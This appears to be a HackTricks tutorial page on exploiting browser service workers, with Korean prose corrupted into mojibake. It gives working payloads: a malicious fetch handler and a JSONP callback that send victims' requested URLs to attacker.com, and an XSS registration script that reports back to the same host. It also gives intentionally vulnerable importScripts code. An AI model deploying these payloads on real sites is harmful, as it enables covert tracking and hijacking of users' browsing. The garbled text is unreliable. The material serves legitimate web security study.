์๋น์ค ์์ปค ์ ์ฉ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
์๋น์ค ์์ปค๋ ์น ํ์ด์ง์ ๋ถ๋ฆฌ๋์ด ๋ธ๋ผ์ฐ์ ์์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์คํ๋๋ ์คํฌ๋ฆฝํธ๋ก, ์น ํ์ด์ง๋ ์ฌ์ฉ์ ์ํธ์์ฉ์ด ํ์ํ์ง ์์ ๊ธฐ๋ฅ์ ๊ฐ๋ฅํ๊ฒ ํ์ฌ ์คํ๋ผ์ธ ๋ฐ ๋ฐฑ๊ทธ๋ผ์ด๋ ์ฒ๋ฆฌ ๊ธฐ๋ฅ์ ํฅ์์ํต๋๋ค. ์๋น์ค ์์ปค์ ๋ํ ์์ธํ ์ ๋ณด๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค. ์ทจ์ฝํ ์น ๋๋ฉ์ธ ๋ด์์ ์๋น์ค ์์ปค๋ฅผ ์ ์ฉํจ์ผ๋ก์จ ๊ณต๊ฒฉ์๋ ํด๋น ๋๋ฉ์ธ ๋ด์ ๋ชจ๋ ํ์ด์ง์์ ํผํด์์ ์ํธ์์ฉ์ ์ ์ดํ ์ ์์ต๋๋ค.
๊ธฐ์กด ์๋น์ค ์์ปค ํ์ธ
๊ธฐ์กด ์๋น์ค ์์ปค๋ ๊ฐ๋ฐ์ ๋๊ตฌ์ ์ ํ๋ฆฌ์ผ์ด์ ํญ์ ์๋น์ค ์์ปค ์น์ ์์ ํ์ธํ ์ ์์ต๋๋ค. ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ chrome://serviceworker-internals๋ฅผ ๋ฐฉ๋ฌธํ์ฌ ๋ ์์ธํ ์ ๋ณด๋ฅผ ํ์ธํ๋ ๊ฒ์ ๋๋ค.
ํธ์ ์๋ฆผ
ํธ์ ์๋ฆผ ๊ถํ์ ์๋น์ค ์์ปค๊ฐ ์ฌ์ฉ์์์ ์ง์ ์ ์ธ ์ํธ์์ฉ ์์ด ์๋ฒ์ ํต์ ํ ์ ์๋ ๋ฅ๋ ฅ์ ์ง์ ์ ์ธ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ๊ถํ์ด ๊ฑฐ๋ถ๋๋ฉด ์๋น์ค ์์ปค๊ฐ ์ง์์ ์ธ ์ํ์ ๊ฐํ ๊ฐ๋ฅ์ฑ์ด ์ ํ๋ฉ๋๋ค. ๋ฐ๋๋ก, ๊ถํ์ ๋ถ์ฌํ๋ฉด ์ ์ฌ์ ์ธ ์ ์ฉ์ ์์ ํ๊ณ ์คํํ ์ ์๊ฒ ๋์ด ๋ณด์ ์ํ์ด ์ฆ๊ฐํฉ๋๋ค.
์๋น์ค ์์ปค ์์ฑ ๊ณต๊ฒฉ
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๊ธฐ ์ํด์๋ ๋ค์์ ์ฐพ์์ผ ํฉ๋๋ค:
- ์๋ฒ์ ์์์ JS ํ์ผ์ ์ ๋ก๋ํ ์ ์๋ ๋ฐฉ๋ฒ๊ณผ ์ ๋ก๋๋ JS ํ์ผ์ ์๋น์ค ์์ปค๋ฅผ ๋ก๋ํ XSS
- ์ถ๋ ฅ์ ์กฐ์ํ ์ ์๋ ์ทจ์ฝํ JSONP ์์ฒญ(์์์ JS ์ฝ๋๋ก)๊ณผ ํ์ด๋ก๋๋ก JSONP๋ฅผ ๋ก๋ํ XSS๊ฐ ํ์ํฉ๋๋ค. ์ด ํ์ด๋ก๋๋ ์ ์ฑ ์๋น์ค ์์ปค๋ฅผ ๋ก๋ํฉ๋๋ค.
๋ค์ ์์ ์์๋ fetch ์ด๋ฒคํธ๋ฅผ ์์ ํ๊ณ ๊ฐ ๊ฐ์ ธ์จ URL์ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ์ ์กํ๋ ์๋ก์ด ์๋น์ค ์์ปค๋ฅผ ๋ฑ๋กํ๋ ์ฝ๋๋ฅผ ์ ์ํ๊ฒ ์ต๋๋ค(์ด ์ฝ๋๋ ์๋ฒ์ ์
๋ก๋ํ๊ฑฐ๋ ์ทจ์ฝํ JSONP ์๋ต์ ํตํด ๋ก๋ํด์ผ ํ๋ ์ฝ๋์
๋๋ค):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
์ด๊ฒ์ ์์ปค๋ฅผ ๋ฑ๋กํ๋ ์ฝ๋์ ๋๋ค (๋น์ ์ด XSS๋ฅผ ์ ์ฉํ์ฌ ์คํํ ์ ์์ด์ผ ํ๋ ์ฝ๋). ์ด ๊ฒฝ์ฐ GET ์์ฒญ์ด ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ ์ก๋์ด ์๋น์ค ์์ปค์ ๋ฑ๋ก์ด ์ฑ๊ณตํ๋์ง ์ฌ๋ถ๋ฅผ ์๋ฆฝ๋๋ค:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
์ทจ์ฝํ JSONP ์๋ํฌ์ธํธ๋ฅผ ์
์ฉํ ๊ฒฝ์ฐ var sw ์์ ๊ฐ์ ๋ฃ์ด์ผ ํฉ๋๋ค. ์๋ฅผ ๋ค์ด:
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
์ ์ฉ C2๊ฐ Service Workers์ ์ ์ฉ์ ์ํด Shadow Workers๋ผ๋ ์ด๋ฆ์ผ๋ก ์กด์ฌํ๋ฉฐ, ์ด๋ฌํ ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ๋ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค.
24์๊ฐ ์บ์ ์ง์์ด๋ ์ ์์ ์ด๊ฑฐ๋ ์์๋ **service worker (SW)**์ ์๋ช ์ XSS ์ทจ์ฝ์ ์์ ํ ์ต๋ 24์๊ฐ์ผ๋ก ์ ํํฉ๋๋ค. ์จ๋ผ์ธ ํด๋ผ์ด์ธํธ ์ํ๋ฅผ ๊ฐ์ ํ ๋, ์ทจ์ฝ์ฑ์ ์ต์ํํ๊ธฐ ์ํด ์ฌ์ดํธ ์ด์์๋ SW ์คํฌ๋ฆฝํธ์ Time-To-Live (TTL)๋ฅผ ๋ฎ์ถ ์ ์์ต๋๋ค. ๊ฐ๋ฐ์๋ค์ ๋ํ ์ ์ํ ๋นํ์ฑํ๋ฅผ ์ํ service worker kill-switch๋ฅผ ๋ง๋ค๋๋ก ๊ถ์ฅ๋ฉ๋๋ค.
DOM Clobbering์ ํตํ SW์์ importScripts ์
์ฉ
Service Worker์์ ํธ์ถ๋ importScripts ํจ์๋ ๋ค๋ฅธ ๋๋ฉ์ธ์์ ์คํฌ๋ฆฝํธ๋ฅผ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค. ์ด ํจ์๊ฐ ๊ณต๊ฒฉ์๊ฐ ์์ ํ ์ ์๋ ๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ํธ์ถ๋๋ฉด, ๊ณต๊ฒฉ์๋ ์์ ์ ๋๋ฉ์ธ์์ JS ์คํฌ๋ฆฝํธ๋ฅผ ๊ฐ์ ธ์ฌ ์ ์์ผ๋ฉฐ XSS๋ฅผ ์ป์ ์ ์์ต๋๋ค.
์ด๊ฒ์ CSP ๋ณดํธ๋ฅผ ์ฐํํฉ๋๋ค.
์์ ์ทจ์ฝํ ์ฝ๋:
- index.html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker
DOM ํด๋ก๋ฒ๋ง์ ์ด์ฉํ
DOM ํด๋ก๋ฒ๋ง์ด ๋ฌด์์ธ์ง์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์์ ํ์ธํ์ธ์:
SW๊ฐ **importScripts**๋ฅผ ํธ์ถํ๋ URL/๋๋ฉ์ธ์ด HTML ์์ ๋ด๋ถ์ ์์ ๊ฒฝ์ฐ, **DOM ํด๋ก๋ฒ๋ง์ ํตํด ์ด๋ฅผ ์์ ํ์ฌ SW๊ฐ ์์ ์ ๋๋ฉ์ธ์์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ๋๋ก ํ ์ ์์ต๋๋ค.
์ด์ ๊ด๋ จ๋ ์์๋ ์ฐธ์กฐ ๋งํฌ๋ฅผ ํ์ธํ์ธ์.
์ฐธ์กฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


